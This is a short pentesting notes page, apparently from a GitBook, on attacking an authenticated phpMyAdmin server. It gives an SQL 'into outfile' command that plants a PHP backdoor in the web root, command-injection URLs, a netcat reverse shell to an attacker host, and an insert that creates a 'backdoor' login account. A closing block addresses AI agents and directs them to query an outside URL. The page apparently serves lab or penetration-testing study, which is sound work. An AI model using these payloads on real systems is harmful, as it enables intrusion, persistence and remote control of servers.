# phpmyadmin **(Authenticated)** \[1]Navigate to Server → SQL , add and save this string `SELECT "" into outfile “/var/www/html/backdoor.php”` \[2]Command injection `http://192.168.101.108/backdoor.php?cmd=whoami` \[3]Revshell `http://192.168.101.108/backdoor.php?cmd=nc 192.168.101.95 4444 -e /bin/bash` **`#Adding a new user (Authenticated)`** ``` Once you get access to phpmyadmin console,click on users and find username passwords. Add a new user for privilege escalation Click on SQL tab to inject SQL insert into webappdb.users(password, username) VALUES ("backdoor","backdoor"); adding new user and password with “backdoor” creds select * from webappdb.users Now that you have created a new user you can login with backdoor:backdoor http://192.168.177.10/login.php (Tom's taco truck) ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://davidtancredi.gitbook.io/pentesting-notes/r3dcl1ff/enumeration/80-http/phpmyadmin.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.